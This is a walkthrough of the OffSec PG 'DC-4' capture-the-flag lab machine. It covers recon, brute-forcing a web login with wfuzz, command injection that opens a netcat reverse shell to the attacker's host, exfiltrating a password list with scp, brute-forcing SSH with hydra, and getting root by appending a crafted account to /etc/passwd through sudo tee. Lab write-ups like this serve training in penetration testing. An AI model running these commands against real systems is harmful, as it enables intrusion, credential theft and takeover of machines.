OffSec PG : DC -4 Walkthrough

Machine details

• Title: DC-4
• Author: DCAU
• Difficulty: Intermediate
• Flags: 2 (user and root)
• Techniques: Bruteforce, sudo, command injection
• Operating System: Linux

Recon and Enumeration

IP=<MACHINE IP>
nmap -p- --min-rate 1000 -Pn $IP

We can note there is two port active which is http and ssh running. Let’s check the webpage, there we will see a login page

Let’s fuzz the webpage before we try to do something

gobuster dir -u http://192.168.56.148 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt -x  php,bak,log,html,txt 

Altough gobuster got command.php, we can’t do nothing at the moment because we will be redirected to login page. Therefore, we must get the login credentials.

The index webpage it’s a login form with the title “Admin Information Systems Login”. When we try to do a log-in, the server makes a post request to login.php, we can use this to a fuzzing tool to catch the password. For this, we will use wfuzz

wfuzz -c -z file,/usr/share/wordlists/rockyou.txt -d "username=admin&password=FUZZ" -u http://192.168.167.195/login.php --hw 17

One of the responses will be our answer, which is happy the passcode

With that, we can go to the command.php, we can use 3 commands

Using one of the options, the server executes a system command

We can read the source code and see we do post requests as a command

We will do a request again and use Burp Suite’s proxy to change our command, now we can edit in the proxy tab

In the radio parameter we can change the command and make our own!

Let’s connect this machine to ours, we will setup a netcat listener

nc -lvnp 4444

And then we will use this command to connect to our machine

nc -nv <OUR IP ADDRESS> 4444 -e /bin/bash

Before we use it, I recommend doing a URL encoding. So, we will use the “Decoder” tool from Burp

We will receive the connection after that :D

We can upgrade our shell using python3

python3 -c "import pty; pty.spawn('/bin/bash')"

Reading the /etc/passwd file, there are three users on home directory

Also, the /home/jim directory has a local flag. And there’s a file called test.sh and a directory named backups, I wonder what this script does

Reading test.sh, we have privileges to write!

the backups has a .bak file

And indeed is a list of passwords

I will send this wordlist to my machine and then try to bruteforce all the accounts. I used scp to send to my kali machine

scp old-passwords.bak kali@<MY-IP>:/home/kali/dc4

After that, I created a file named users.txt with the names we got earlier in /etc/passwd file.

Finally, I’ve used hydra to bruteforce

hydra -L users.txt -P old-passwords.bak ssh://192.168.167.195

[22][ssh] host: 192.168.167.195   login: jim   password: jibril04

With these credentials, we can use ssh to connect DC-4. Let’s do this!

Privilege Escalation

I checked sudo -l but jim has no privileges as sudo, then I got the idea of taking a look at /var/mail and I got this interesting message

We got another credential, from charles, we will take notes and change the user

charles:^xHhA&hvim0y

In the charles user, we have privileges to use one command

reading the help command, we will know this is actually the tee command

We can write files as root with this command, we will append a hash to /etc/passwd file, so we can log-in as root

You can change my name to yours in this command, the process won’t change

grep root /etc/passwd | sed 's/root/inot/'

Remember, this command won’t this file. we just need it so we can log-in as our name. Now that it worked, let’s create a password with openssl, in this case the password for me will be: mypass. The -1 option is to create a MD5 password

openssl passwd -1 mypass

We can combine this output (the hashed pass) and the other output with grep, and redirect it to a file named myhash

grep root /etc/passwd | sed 's/root/inot/' | sed 's/x/$1$EKZQ0so1$lhq4H6AbD8sGizsOMK7Hj0/' > myhash

Now we can execute teehee as sudo, but reading the myhash file before!

cat myhash | sudo teehee -a /etc/passwd

We can confirm we did it using the tail command

At last, we can change the user. In my case it was inot (my name :D)

To finish the machine we can get the final flags located at /root directory